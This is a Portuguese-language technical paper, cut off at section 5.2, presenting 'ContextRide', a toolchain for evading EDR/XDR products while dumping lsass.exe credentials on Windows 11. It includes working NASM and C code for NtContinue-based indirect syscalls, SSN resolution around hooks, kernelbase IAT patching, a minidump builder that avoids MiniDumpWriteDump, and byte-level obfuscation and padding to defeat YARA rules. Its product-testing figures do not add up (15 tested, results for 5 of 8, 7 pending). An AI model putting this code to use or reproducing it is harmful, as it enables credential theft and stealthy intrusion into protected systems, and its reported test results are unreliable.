

ContextRide: NtContinue como Primitiva de Execução para Evasão de EDR/XDR em Userland

Autor: Danilo Albuquerque

Abstract

Soluções modernas de Endpoint Detection and Response (EDR) e Extended Detection and Response (XDR) evoluíram muito além da simples interceptação de funções na `ntdll.dll`. A superfície de detecção atual abrange scanning estático de PEs na escrita em disco, análise de call stack para identificar syscalls anômalos, Protected Process Light (PPL) sobre processos críticos e telemetria comportamental via ETW. Essas camadas tornaram técnicas clássicas de evasão (direct syscalls, indirect syscalls com stubs próprios e uso de `MiniDumpWriteDump`) progressivamente ineficazes contra qualquer produto de segurança moderno.

Este artigo introduz o **ContextRide**, uma técnica que utiliza `NtContinue` como primitiva de execução de syscalls indiretos, preservando um call stack com frames legítimos de `ntdll.dll` e `kernelbase.dll` sem introduzir stubs detectáveis fora da `ntdll.dll` em memória. Ao contrário de abordagens como SysWhispers2/3 — que produzem call stacks anômalos detectáveis — e estendendo-se além do HookChain [10], que alcança legitimidade de call stack via IAT patching mas não endereça scanning estático, formato de dump em memória nem PPL, o ContextRide evade a detecção por análise de call stack baseada em verificação de endereços de frame sem fabricar frames sintéticos, contornando simultaneamente a interceptação por hook, o scanning estático e, operacionalmente, o PPL.

Técnicas complementares completam o toolchain: um builder customizado de Minidump que evita `MiniDumpWriteDump`; construção in-memory do formato MDMP com ofuscação de constantes sensíveis via `volatile` (eficaz contra regras YARA de correspondência byte-exata; não substitui proteção contra análise de fluxo de dados); padding semântico binário para contornar regras YARA position-sensitive; e separação da escrita de estruturas MDMP detectáveis para pós-processamento em Python fora do host alvo. O toolchain completo foi validado contra 15 produtos EDR/XDR nos builds 26100 e 26200 do Windows 11, produzindo um dump funcional de `lsass.exe` sem acionar nenhuma camada de detecção em 5 dos 8 produtos testados até o momento, com testes em andamento nos demais 7.

Keywords: ContextRide, NtContinue, Indirect Syscalls, EDR/XDR Bypass, LSASS Dump, YARA Evasion, PPL Handle Acquisition, Call Stack Legitimacy, Windows Internals

1. Introdução

1.1 Contexto

Sistemas de Endpoint Detection and Response (EDR) e Extended Detection and Response (XDR) tornaram-se o principal mecanismo de defesa em ambientes corporativos modernos. Diferentemente de soluções antivírus tradicionais, esses produtos operam simultaneamente em múltiplas camadas: hooking de funções em userland, drivers de kernel com callbacks para criação de processos e carregamento de imagens, scanning estático de arquivos PE no momento da escrita em disco, e coleta de telemetria via Event Tracing for Windows (ETW) [1].

Essa escalada defensiva gerou uma corrida armamentista documentada: à medida que técnicas ofensivas como Heaven's Gate, direct syscalls e SysWhispers se tornaram amplamente conhecidas e implementadas em frameworks como Cobalt Strike e Metasploit, os vendedores de segurança adicionaram detecções específicas para cada uma delas. Hoje, um binário que simplesmente chama `NtOpenProcess` seguido de `NtReadVirtualMemory` contra `lsass.exe` — mesmo usando indirect syscalls — é frequentemente bloqueado antes da execução via análise estática do PE ou sinalizado durante a execução via inspeção de call stack.

As técnicas de bypass existentes endereçam essas camadas de detecção em isolamento: direct syscalls bypassam hooks de userland mas produzem call stacks anômalos; abordagens existentes de indirect syscall (SysWhispers2/3) melhoram a legitimidade do call stack mas não completamente; técnicas de evasão de YARA endereçam detecção estática mas não detecção comportamental. Nenhuma técnica publicada endereça todas as camadas simultaneamente sem deixar um artefato detectável.

A questão central que motiva este trabalho é: **é possível executar syscalls sensíveis e obter leitura de memória de um processo protegido por PPL, em um ambiente com EDR/XDR ativo, sem acionar nenhuma camada de detecção em nenhum ponto da cadeia de execução?**

1.2 O Problema de Detecção em Múltiplas Camadas

Produtos modernos de EDR/XDR compõem sua capacidade de detecção a partir de pelo menos quatro camadas independentes, cada uma das quais deve ser endereçada de forma independente:

Camada 1 — Detecção estática on-write: A maioria dos produtos de segurança modernos instala minifilter drivers que interceptam operações de escrita. Quando um PE é gravado em disco, seu conteúdo é escaneado com regras YARA e classificadores ML antes que a escrita seja concluída. Padrões associados a ferramentas de dumping conhecidas — estruturas

MINIDUMP, chamadas a `MiniDumpWriteDump`, entradas reveladoras na import table — disparam bloqueio imediato.

Camada 2 — Detecção dinâmica via hook: Hooks instalados na `ntdll.dll` interceptam chamadas a funções sensíveis como `NtOpenProcess` e `NtReadVirtualMemory`, permitindo ao produto de segurança inspecionar parâmetros antes que a chamada chegue ao kernel. Técnicas de direct e classic indirect syscall existem para bypassar esses hooks, mas ambas deixam rastros detectáveis.

Camada 3 — Inspeção de call stack: Uma capacidade crítica presente em produtos EDR/XDR avançados: no momento de um syscall sensível, o call stack é percorrido e cada frame é verificado. Um frame que não se origina de um módulo conhecido e assinado — ou que pula a cadeia esperada `kernelbase.dll → ntdll.dll → syscall` — é sinalizado como anomalia [2].

Camada 4 — Protected Process Light (PPL): O processo `lsass.exe` é frequentemente configurado com `RunAsPPL=1`, que impõe uma proteção em nível de kernel impedindo que qualquer processo não-PPL abra um handle com permissões de leitura de memória, independentemente dos privilégios do token do chamador [3]. Nenhuma técnica de userland bypassa diretamente essa restrição; o ContextRide a endereça operacionalmente via aquisição de handle por duplicação (Seção 6).

O HookChain [10] endereça bypass de hooks em userland e legitimidade de call stack via IAT patching em DLLs de subsistema combinado com um executor de syscall indireto que preserva frames de kernelbase na pilha. No entanto, não aborda scanning estático, formato de dump em memória nem PPL — e o mecanismo de despacho (JMP de código externo para dentro de `ntdll`) permanece exposto a análise de fluxo de controle granular. O ContextRide endereça todas as quatro camadas usando `NtContinue` como primitiva — delegando o salto ao kernel em vez de executá-lo diretamente de código externo.

1.3 Contribuições

Este artigo faz as seguintes contribuições originais:

1. **ContextRide: NtContinue como primitiva de execução.** Demonstramos que `NtContinue`, cuja finalidade original é restaurar o contexto de um thread após tratamento de exceção, pode ser reutilizado como vetor de syscalls indiretos que produzem um call stack que evade detecção por análise de endereços de frame — sem introduzir stubs fora da `ntdll.dll` em memória executável. Detecção desta técnica requer validação de integridade criptográfica de módulos combinada com modelagem comportamental da cadeia de chamadas (Seção 7.4).
2. **Custom MDMP builder.** Uma implementação completa do formato Minidump em C puro, sem invocar `MiniDumpWriteDump` ou qualquer função documentada de dumping, com

ofuscação de constantes do formato via bytes `volatile` para evadir detecção por regras YARA de correspondência byte-exata.

3. **Evasão de YARA position-sensitive.** Documentação empírica de um padrão em engines de detecção estática no qual a mesma sequência de bytes é sinalizada em um offset específico dentro do PE mas não em outro, junto com uma estratégia de padding semântico para controle do layout binário que explora esse comportamento.
4. **Reconstrução cross-host do MDMP.** Remoção de todo código que escreve estruturas MDMP detectáveis do binário no alvo, com serialização proprietária de informações de módulos e reconstrução completa da `ModuleListStream` em Python no host do analista.

1.4 Escopo e Limitações

O escopo deste trabalho é restrito a processos Windows x64 em userland (ring 3). As técnicas demonstradas não dependem de drivers de kernel, não envolvem bypasses de Kernel Patch Protection (KPP/PatchGuard) e não se aplicam a cenários onde o Credential Guard (VBS/VSM) está ativo — nesse caso, o material criptográfico está isolado em VTL1 e não é acessível via dump de memória do `lsass.exe` por nenhuma técnica de userland.

A técnica de aquisição de handle para processos PPL (Seção 6) não é um bypass do mecanismo PPL em nível de kernel: é uma mitigação operacional que explora a semântica de duplicação de handles existentes. Sua eficácia depende da presença de handles com permissões suficientes mantidos por processos de sistema no ambiente alvo.

A ofuscação de constantes via `volatile` (Seção 4.3) é eficaz contra pattern matching baseado em sequências byte-exatas (YARA). Não oferece proteção contra análise de fluxo de dados ou reconstrução de imediatos por ferramentas de análise estática avançadas.

1.5 Ética

Todos os experimentos foram realizados em ambientes controlados com licenciamento válido. Este trabalho não visa classificar ou depreciar produtos de segurança, mas contribuir para o entendimento mútuo das capacidades ofensivas e defensivas, motivando o desenvolvimento de mecanismos de detecção mais robustos.

2. Background

2.1 Arquitetura de Detecção de EDR/XDR Modernos

Apesar das diferenças de implementação entre vendedores, produtos modernos de EDR/XDR compartilham um padrão arquitetural comum composto por pelo menos quatro subsistemas cooperantes:

Scanner estático: Implementado como um minifilter driver do sistema de arquivos, intercepta operações de escrita (`IRP_MJ_WRITE` e `IRP_MJ_SET_INFORMATION`) e submete o conteúdo do arquivo a engines de análise estática — regras YARA, bases de assinaturas e classificadores ML — antes que a escrita seja confirmada ao processo chamador. Essa camada opera sobre artefatos em disco e é agnóstica de vendor em seu mecanismo fundamental.

Userland hooking: Uma DLL do agente é injetada em processos monitorados. Essa DLL instala hooks inline na `ntdll.dll` — tipicamente sobreescrevendo os primeiros bytes de funções sensíveis com uma instrução `JMP` para o código de inspeção do produto de segurança. Isso permite inspeção de parâmetros e supressão seletiva de chamadas antes da transição para o modo kernel.

Driver de kernel: Registra callbacks via `PsSetCreateProcessNotifyRoutine` , `PsSetLoadImageNotifyRoutine` e `ObRegisterCallbacks` . Via `ObRegisterCallbacks` , o produto pode interceptar operações de handle e remover permissões (incluindo `PROCESS_VM_READ`) de handles abertos para processos protegidos, mesmo quando o kernel os concederia. Esse mecanismo opera independentemente da técnica de syscall empregada e é endereçado pela cadeia de fallback de handle na Seção 6.3.

Telemetria comportamental (ETW-TI): Um provedor ETW operando em kernel mode que registra eventos de syscalls sensíveis com contexto completo de call stack, permitindo correlação de eventos individuais em padrões comportamentais. Essa é a base da detecção por anomalia de call stack. Produtos XDR avançados correlacionam sequências de syscalls (ex.: `NtQuerySystemInformation` → `NtDuplicateObject` → `NtReadVirtualMemory`) como padrões comportamentais de dumping, independentemente da legitimidade de call stack individual.

A interação entre esses subsistemas cria uma superfície de detecção difícil de bypassar em partes: derrotar a camada de hook de userland sem endereçar a inspeção de call stack ainda gera um evento de telemetria; evadir detecção estática sem evadir o hook ainda permite ao EDR bloquear a chamada.

2.2 Windows Internals Relevantes

2.2.1 System Service Dispatching

A transição de userland (ring 3) para o kernel (ring 0) no Windows x64 opera via instrução `syscall` , que transfere execução para o handler `KiSystemCall64` . O registrador `EAX` deve conter o System Service Number (SSN) — um índice na SSDT identificando qual função de kernel executar [5].

```
; Stub típico de uma função Nt* em ntdll.dll (sem hook)
0:002> u ntdll!NtReadVirtualMemory
```

```

ntdll!NtReadVirtualMemory:
00007ffe`a2c0d090 4c8bd1      mov     r10,rcx
00007ffe`a2c0d093 b83f000000  mov     eax,3Fh      ; SSN = 0x3F
00007ffe`a2c0d098 f604250803fe7f01 test byte ptr [SharedUserData+0x308],1
00007ffe`a2c0d0a0 7503        jne     ntdll!NtReadVirtualMemory+0x15
00007ffe`a2c0d0a2 0f05        syscall
00007ffe`a2c0d0a4 c3          ret

```

Quando um produto de segurança instala um hook, os primeiros bytes se tornam um `JMP` para o código do agente:

```

; Mesmo stub com hook de EDR instalado
ntdll!NtReadVirtualMemory:
00007ffe`a2c0d090 e96b4a1e00 jmp     00007ffe`c0de1b00 ; <- hook
00007ffe`a2c0d095 b83f000000 mov     eax,3Fh
00007ffe`a2c0d0a2 0f05        syscall
00007ffe`a2c0d0a4 c3          ret

```

2.2.2 NtContinue — Propósito Original e Comportamento

`NtContinue` é uma função da `ntdll.dll` cuja finalidade original é restaurar o estado de um thread a partir de uma estrutura `CONTEXT` após tratamento de exceção ou entrega de APC [5]. Sua assinatura:

```

NTSTATUS NtContinue(
    PCONTEXT ThreadContext, // CONTEXT com o estado desejado
    BOOLEAN RaiseAlert      // se TRUE, envia alerta ao thread
);

```

Internamente, `NtContinue` invoca seu próprio `syscall`, que no kernel restaura todos os registradores — incluindo `RIP`, `RSP`, `RFLAGS` e registradores de propósito geral — a partir do `CONTEXT` fornecido. A execução do thread é retomada em `ThreadContext->Rip`. Esse é o mecanismo explorado pelo `ContextRide`.

2.2.3 Import Address Table (IAT) e Image Loader

Durante o carregamento do PE, o Image Loader preenche a IAT com o endereço real de cada função importada. A IAT é uma região de memória gravável, modificável em runtime sem elevação de privilégios especial [5]. Redirecionar entradas na IAT da `kernelbase.dll` para wrappers `ContextRide` permite interceptar todas as chamadas de API através da cadeia `NtContinue` sem modificar nenhum binário de terceiros.

2.2.4 Protected Process Light (PPL)

A partir do Windows 8.1, o PPL atribui um nível de proteção (`EPROCESS.Protection`) que restringe quais processos podem abrir handles com permissões elevadas [3].

```
lkd> dt nt!_EPROCESS lsass.exe Protection
+0x87a Protection : _PS_PROTECTION
+0x000 Level      : 0x31 ; PsProtectedSignerLsa-Light
```

Com `RunAsPPL=1` , mesmo um processo rodando como `NT AUTHORITY\SYSTEM` com `SeDebugPrivilege` recebe `STATUS_ACCESS_DENIED` (`0xC0000022`) ao tentar `NtOpenProcess` com `PROCESS_VM_READ` contra `lsass.exe` . A enforcement ocorre em nível de kernel, independentemente de qualquer produto EDR/XDR e independentemente da técnica de syscall empregada. O ContextRide endereça essa camada operacionalmente via duplicação de handles existentes (Seção 6), não via bypass do mecanismo de proteção em si.

2.3 Técnicas Existentes e Suas Limitações

2.3.1 Direct Syscalls

Implementa o stub de syscall diretamente no código do atacante, eliminando a dependência da `ntdll.dll` hooked:

```
NtReadVirtualMemory_stub:
    mov r10, rcx
    mov eax, 3Fh          ; SSN hardcoded
    syscall
    ret
```

Limitação: O produto de segurança verifica se o endereço de retorno de um syscall aponta para dentro da `ntdll.dll` . Quando a instrução `syscall` está no código do atacante, o endereço de retorno aponta para fora da `ntdll.dll` , produzindo uma anomalia de call stack detectável via ETW-TI [6]. Adicionalmente, o padrão `mov r10,rcx / mov eax,<SSN> / syscall` em memória executável fora da `ntdll.dll` é alvo de assinatura YARA.

2.3.2 Indirect Syscalls Clássicos (SysWhispers2/3)

Executa a instrução `syscall` dentro da `ntdll.dll` via trampoline JMP:

```
NtReadVirtualMemory_trampoline:
    mov r10, rcx
    mov eax, [SSN_resolvido]
    jmp qword ptr [addr_syscall_ntdll] ; pula para "syscall" dentro de
ntdll
```

Limitação: Embora o endereço de retorno agora aponte para dentro da `ntdll.dll`, o call stack permanece anômalo: o frame imediatamente anterior à instrução `syscall` dentro da `ntdll.dll` deveria originar-se da `kernelbase.dll` ou `kernel32.dll`, não de código arbitrário do atacante. Produtos EDR/XDR avançados detectam essa inconsistência via walking completo do call stack [2].

2.3.3 HalosGate e Variantes

HalosGate [7] resolve o SSN quando a função-alvo na `ntdll.dll` está hooked, buscando exports vizinhos não-hooked e derivando o SSN por offset de índice. É uma melhoria na resiliência da resolução de SSN, mas não endereça o problema de legitimidade do call stack.

2.3.4 HookChain

HookChain [10] é a abordagem pré-existente mais completa para bypass de EDR em userland. Combina três componentes: extração dinâmica de SSNs via HalosGate; IAT patching em DLLs de subsistema (`kernel32`, `kernelbase`, `bcrypt` e outras) para interceptar chamadas `Nt/Zw` antes que cheguem à `ntdll.dll`; e um executor de `syscall` indireto (`SyscallExec`) que usa `sub rsp, 08h + endereço da instrução syscall em ntdll + ret` para saltar para o `syscall` preservando o frame de `kernelbase.dll` na pilha — resultado confirmado empiricamente nas Figuras 19 e 22 do próprio paper [10].

Limitação: O mecanismo de despacho final do HookChain é um `JMP` originado de código externo (`HookChain.exe`) para dentro de `ntdll.dll` — padrão de fluxo de controle potencialmente detectável por EDRs com análise CFI. Adicionalmente, HookChain não endereça scanning estático on-write (YARA/ML), formato de dump em memória nem PPL.

3. ContextRide: Cadeia de Execução via `NtContinue`

3.1 Observação Central

A observação central que motiva o ContextRide é: **`NtContinue` é uma função nativa que, quando executada, transfere controle para qualquer endereço arbitrário com qualquer estado de registradores arbitrário — e o faz via um `syscall` que se origina legitimamente de dentro da `ntdll.dll`.**

Quando uma chamada a `NtContinue` é usada para redirecionar a execução para a instrução `syscall` de outra função `ntdll!NtXxx`, duas propriedades valem simultaneamente:

1. A instrução `syscall` executa de dentro da `ntdll.dll`, satisfazendo verificações de endereço de retorno baseadas em pertencimento a módulo.

2. O frame no call stack imediatamente acima do syscall é um frame legítimo de `kernelbase.dll` (do wrapper patchado via IAT), satisfazendo qualquer walking completo de call stack baseado em verificação de endereços de frame.

Nota: ambas as propriedades referem-se à verificação de endereços de frame (pertencimento a módulo assinado). Uma verificação mais profunda — que valide se `kernelbase!<função>` foi invocada através de seu caller documentado, ou que detecte a presença de `NtContinue` em cadeias de chamadas sensíveis — pode identificar a técnica (Seção 7.4).

O HookChain [10] alcança resultado similar: interceptando chamadas na IAT de `kernelbase/kernel32` e usando seu executor de syscall (`SyscallExec`) para preservar o frame de `kernelbase` na pilha. O ContextRide difere ao eliminar o JMP de código externo para dentro de `ntdll` — substituindo-o por uma chamada legítima a `NtContinue` — e ao estender a evasão para as camadas de scanning estático, formato de dump em memória e PPL, que HookChain não endereça.

3.2 Análise do Call Stack

A tabela abaixo compara os call stacks produzidos por cada abordagem no momento do syscall sensível:

Direct Syscall:	Indirect (SysWhispers3):	ContextRide:
KiSystemCall64 [stub em .text do atacante] <code>ntdll!NtOpenProcess+0xA</code> <- ANÔMALO <code>kernelbase!OpenProcess</code>	KiSystemCall64 <code>ntdll!NtOpenProcess+0xA</code> [trampoline] <- ANÔMALO	KiSystemCall64 [wrapper IAT] <- (verificação por endereço)
LEGÍTIMO		

O ContextRide é a única abordagem que produz uma cadeia de chamada legítima sob verificação de endereços de frame no momento do syscall sensível. Essa propriedade vale para produtos que realizam inspeção de call stack baseada em pertencimento de endereço a módulo assinado, pois reflete o estado real do call stack no modelo de execução de threads do Windows.

3.3 Preparação do CONTEXT

Para cada função-alvo `NtXxx`, a estrutura `CONTEXT` é preparada de acordo com a convenção de chamada AMD64 [8]:

- `Rip`: endereço da instrução `syscall` dentro de `ntdll!NtXxx` (localizada escaneando o opcode `0F 05` após o `mov eax, <SSN>`)
- `Rcx`: 1º argumento
- `Rdx`: 2º argumento
- `R8`: 3º argumento
- `R9`: 4º argumento
- `Rsp`: stack pointer apontando para a home space e argumentos adicionais

O macro de preparação em NASM (x64 Windows):

```
; ind_syscall.asm -- preparação do CONTEXT para o ContextRide

; offsets da estrutura _CONTEXT (Windows x64, sizeof = 0x4D0 = 1232)
%define CONTEXT_SIZE      1232
%define CONTEXT_FULL      0x10000F
%define ContextFlags      0x30
%define Rip               0xF8
%define Rsp               0x98
%define Rcx               0x80
%define Rdx               0x88
%define R8                0xB8
%define R9                0xC0

section .data
    g_fn_table dq 0, 0, 0, 0, 0 ; tabela de endereços de syscall por
                                função

section .text

; SYSCALL_WRAPPER: wrapper ContextRide por função-alvo.
; Os wrappers residem no .text do binário e são detectáveis por scanning
estático
; (equivalentemente a qualquer código C compilado). A propriedade de evasão
é
; de call stack em runtime, não de invisibilidade do wrapper em disco.
%macro SYSCALL_WRAPPER 2 ; %1=índice na tabela, %2=label de export
global %2
%2:
    push    rbx
    push    rsi
    push    rdi
```

```

push    r12
sub     rsp, CONTEXT_SIZE + 40

; Zera o CONTEXT
lea     rdi, [rsp+40]
xor     eax, eax
mov     ecx, CONTEXT_SIZE
rep     stosb

mov     dword [rsp+40+ContextFlags], CONTEXT_FULL

; Rip = endereço do opcode "syscall" em ntdll!NtXxx
mov     rax, [g_fn_table + %1*8]
mov     [rsp+40+Rip], rax

; Encaminha argumentos conforme convenção AMD64
mov     [rsp+40+Rcx], rcx
mov     [rsp+40+Rdx], rdx
mov     [rsp+40+R8], r8
mov     [rsp+40+R9], r9

; RSP -> return stack após NtContinue
lea     rax, [rsp+40+CONTEXT_SIZE+40+8*5]
mov     [rsp+40+Rsp], rax

; NtContinue(CONTEXT, FALSE)
lea     rcx, [rsp+40]
xor     edx, edx
call    NtContinue

add     rsp, CONTEXT_SIZE + 40
pop     r12
pop     rdi
pop     rsi
pop     rbx
ret

%endmacro

SYSCALL_WRAPPER 0, SysNtOpenProcess
SYSCALL_WRAPPER 1, SysNtReadVirtualMemory
SYSCALL_WRAPPER 2, SysNtQueryInformationProcess
SYSCALL_WRAPPER 3, SysNtClose

```

3.4 Resolução Dinâmica do SSN e Endereço de Syscall

Para popular `g_fn_table` sem depender da `ntdll.dll` potencialmente hooked, utilizamos ordenação por RVA (equivalente ao HalosGate [7]) para derivar o SSN a partir da posição relativa de cada export na Export Address Table:

```
static BOOL ResolveNtFunctions(void) {
    PPEB peb = (PPEB)__readgsqword(0x60);
    BYTE* ntdll_base = NULL;
    PLIST_ENTRY head = &peb->Ldr->InMemoryOrderModuleList;
    for (PLIST_ENTRY e = head->Flink; e != head; e = e->Flink) {
        PLDR_DATA_TABLE_ENTRY m = CONTAINING_RECORD(e, LDR_DATA_TABLE_ENTRY,
InMemoryOrderLinks);
        if (m->BaseDllName.Buffer && _wcsicmp(m->BaseDllName.Buffer,
L"ntdll.dll") == 0) {
            ntdll_base = (BYTE*)m->DllBase; break;
        }
    }
    if (!ntdll_base) return FALSE;

    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)ntdll_base;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(ntdll_base + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        ntdll_base + nt-
>OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    DWORD* names = (DWORD*)(ntdll_base + exp->AddressOfNames);
    DWORD* funcs = (DWORD*)(ntdll_base + exp->AddressOfFunctions);
    WORD* ordinals = (WORD*)(ntdll_base + exp->AddressOfNameOrdinals);

    // Coleta RVAs de todos os exports "Zw*"
    // Zw* e Nt* compartilham SSNs; Zw* aparecem em ordem numérica de SSN
    ZW_ENTRY entries[MAX_NT_FUNCS]; DWORD count = 0;
    for (DWORD i = 0; i < exp->NumberOfNames; i++) {
        char* name = (char*)(ntdll_base + names[i]);
        if (name[0]=='Z' && name[1]=='w')
            entries[count++].rva = funcs[ordinals[i]];
    }
    // Ordena por RVA -- posição na ordenação é o SSN
    qsort(entries, count, sizeof(*entries), compare_rva);

    // Para cada função-alvo, localiza o opcode "syscall" (0F 05) em ntdll
    for (DWORD i = 0; i < count; i++) {
        BYTE* fn = ntdll_base + entries[i].rva;
        if (fn[0] == 0xE9) // hooked: deriva SSN de vizinho não-hooked
            fn = find_unhooked_neighbor(entries, i, count, ntdll_base);
        for (int j = 0; j < 32; j++) {
            if (fn[j] == 0x0F && fn[j+1] == 0x05) {
                g_fn_table[FUNC_IDX] = (ULONG64)(fn + j);
            }
        }
    }
}
```

```

        break;
    }
}
return TRUE;
}

```

3.5 IAT Patching na KernelBase

Para produzir um frame legítimo de `kernelbase.dll` no call stack sem modificar nenhum binário externo, redirecionamos as entradas relevantes na própria IAT da `kernelbase.dll` para nossos wrappers `ContextRide`:

```

static void PatchModuleIAT(PVOID module_base) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)module_base;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((BYTE*)module_base + dos->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(
        (BYTE*)module_base +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    while (imp->Name) {
        char* dll_name = (char*)((BYTE*)module_base + imp->Name);
        if (_stricmp(dll_name, "ntdll.dll") == 0) {
            PULONG_PTR iat = (PULONG_PTR)((BYTE*)module_base + imp->FirstThunk);
            PULONG_PTR hint = (PULONG_PTR)((BYTE*)module_base + imp->OriginalFirstThunk);
            for (; *hint; iat++, hint++) {
                PIMAGE_IMPORT_BY_NAME ibn =
                    (PIMAGE_IMPORT_BY_NAME)((BYTE*)module_base + *hint);
                if (strcmp(ibn->Name, "NtOpenProcess") == 0) {
                    DWORD old;
                    VirtualProtect(iat, 8, PAGE_READWRITE, &old);
                    *iat = (ULONG_PTR)SysNtOpenProcess;
                    VirtualProtect(iat, 8, old, &old);
                }
                // ... demais funções-alvo ...
            }
            imp++;
        }
    }
}

```

Quando `kernelbase!OpenProcess` for subsequentemente chamada por qualquer código no processo, ela invocará `SysNtOpenProcess`, um wrapper `ContextRide`, através da IAT patchada. O frame de call stack resultante é genuíno: é um frame real de `kernelbase.dll`, não falsificado.

4. Custom MDMP Builder

4.1 Por Que Evitar MiniDumpWriteDump

`MiniDumpWriteDump` é universalmente monitorada por produtos de segurança: interceptada via hook no nível da `ntdll.dll`, gera eventos ETW-TI quando chamada e é trivialmente detectada por análise estática via inspeção da import table. Nossa implementação constrói o formato Minidump diretamente em memória, sem invocar nenhuma API documentada de dumping.

4.2 Estrutura do Formato Minidump

O formato Minidump [9] é um formato Microsoft documentado que consiste em:

+-----+		
MINIDUMP_HEADER (32 bytes)		<- Assinatura, Versão, RVA do diretório
+-----+		
MINIDUMP_DIRECTORY[N] (N x 12 bytes)		<- tipo, tamanho, RVA por stream
+-----+		
SystemInfoStream		<- arquitetura, versão do SO
+-----+		
ModuleListStream		<- lista de DLLs carregadas
+-----+		
Memory64ListStream		<- tabela de regiões + dados brutos
header MINIDUMP_MEMORY64_LIST		
MINIDUMP_MEMORY_DESCRIPTOR64[M]		
[regiões de memória concatenadas]		
+-----+		

4.3 Ofuscação de Constantes via Volatile

Engines de scanning estático têm como alvo as constantes do formato Minidump que são características de ferramentas de dumping. O magic MDMP (4D 44 4D 50) e o version marker A7 93 são alvos primários. Manter essas constantes como literais no código C faz o

compilador emití-las como immediatos de 32 bits reconhecíveis via constant folding. Declarar cada byte como `volatile` impede essa otimização, forçando cargas individuais de bytes em runtime:

```
// Detectável -- 0x504D444D emitido como imediato de 32 bits
static DWORD GetMdmpSignature(void) {
    return 0x504D444D; // "MDMP" -- alvo de scanning estático
}

// Ofuscado -- nenhum imediato de 32 bits reconhecível no binário compilado
// com -O2
static DWORD ComputeMdmpSig(void) {
    volatile BYTE b0 = 0x4Du;
    volatile BYTE b1 = 0x44u;
    volatile BYTE b2 = 0x4Du;
    volatile BYTE b3 = 0x50u;
    return (DWORD)b0 | ((DWORD)b1 << 8) | ((DWORD)b2 << 16) | ((DWORD)b3 <<
24);
}
```

O output assembly da versão ofuscada carrega cada byte separadamente da pilha, sem nenhum imediato de 32 bits reconhecível:

```
; Saída do compilador com -O2 (volatile impede constant folding)
movzx  eax, byte ptr [rsp+8]    ; b0 = 0x4D
movzx  ecx, byte ptr [rsp+9]    ; b1 = 0x44
shl     ecx, 8 ; or  eax, ecx
movzx  ecx, byte ptr [rsp+10]   ; b2 = 0x4D
shl     ecx, 16 ; or  eax, ecx
movzx  ecx, byte ptr [rsp+11]   ; b3 = 0x50
shl     ecx, 24 ; or  eax, ecx
```

O mesmo padrão é aplicado aos tipos de stream (`SystemInfoStream=7`, `ModuleListStream=4`, `Memory64ListStream=9`) e ao version marker. Esta técnica é eficaz contra pattern matching baseado em sequências byte-exatas (YARA). Ferramentas de análise estática que reconstituem immediatos via análise de fluxo de dados (sequências `movzx + shl + or`) podem identificar o valor original; o XOR encoding do artefato em disco (Seção 5.4) endereça essa camada adicional.

4.4 SystemInfoStream Correto

O `SystemInfoStream` contém `MINIDUMP_SYSTEM_INFO0`, que ferramentas de análise usam para seleccionar o template de extração de credenciais apropriado para a versão do SO. Dois

campos exigem atenção especial:

CSDVersionRva: Deve apontar para uma `MINIDUMP_STRING` válida. Definir como zero faz parsers lerem dados adjacentes como ponteiro de string e tentarem decodificá-los como UTF-16-LE, resultando em `UnicodeDecodeError`. Uma `MINIDUMP_STRING` vazia de 6 bytes (`Length=0 + null WCHAR`) é escrita imediatamente após a struct.

BuildNumber: Deve refletir o build real do SO para permitir a seleção correta do template. Obtido dinamicamente via `RtlGetVersion`:

```
typedef NTSTATUS (WINAPI* PFN_RTV)(MY_OSVER*);
MY_OSVER rtv = { .sz = sizeof(rtv) };
PFN_RTV pfnRTV = (PFN_RTV)(PVOID)
    GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlGetVersion");
if (pfnRTV) pfnRTV(&rtv);
si.BuildNumber = rtv.bld ? rtv.bld : 19041;
```

4.5 Enumeração de Regiões de Memória

A `Memory64ListStream` requer dois passes sobre as regiões de memória do processo-alvo via `NtQueryVirtualMemory` (através da cadeia `ContextRide`): o primeiro para construir a tabela `MINIDUMP_MEMORY_DESCRIPTOR64`, o segundo para ler o conteúdo de cada região via `NtReadVirtualMemory`. Um buffer crescente com realocação em blocos de 64 MB via `VirtualAlloc/VirtualFree` gerencia os 70–120 MB típicos do dump sem alocação fixa antecipada.

5. Evasão de Detecção Estática

5.1 Regras Estáticas Position-Sensitive: uma Descoberta Empírica

Durante desenvolvimento e testes, observamos um comportamento que revela uma fragilidade em como algumas engines de detecção estática ancoram o pattern matching: **a mesma sequência de bytes pode ser detectada quando localizada em um offset dentro do PE mas não quando localizada em um offset diferente.**

Documentamos isso empiricamente ao longo de iterações do binário:

Versão	Tamanho	Conteúdo	Detectado
diag_a	32.5 KB	OpenProcess + WriteFile	Não
diag_b	37.0 KB	+ MDMP builder	Não

Versão	Tamanho	Conteúdo	Detectado
diag_c	39.0 KB	+ WalkLsassModules + stub	Não
v1	40.5 KB	+ InjectModuleList real	SIM
v2	38.5 KB	stub removido (queda de 512B)	SIM
v3	40.5 KB	stub + padding semântico	Não

Tabela 1: Progressão de detecção ao longo das iterações do binário. A regressão em v2 demonstra position-sensitivity: remover o trigger original deslocou outro código para a janela de detecção.

A regressão em v2 é a observação-chave: remover a função trigger encolheu o binário em ~512 bytes, o que deslocou código não-relacionado do MDMP builder para um offset menor do `.text` — onde ele correspondeu à condição posicional da regra de detecção. Isso é consistente com regras YARA usando condições `at <offset>`:

```
rule lsass_dumper {
  strings:
    $mdmp      = { 4D 44 4D 50 }
    $pattern_a = { 83 64 24 30 00 44 8B }
  condition:
    $mdmp at pe.sections[0].raw_data_offset + 0x1800 and $pattern_a
}
```

Essa descoberta implica que o posicionamento relativo de funções dentro do binário é um fator explorável: controlar o layout binário via padding semântico pode manter código sensível em offsets fora das janelas de detecção ativas.

5.2 Padding Semântico

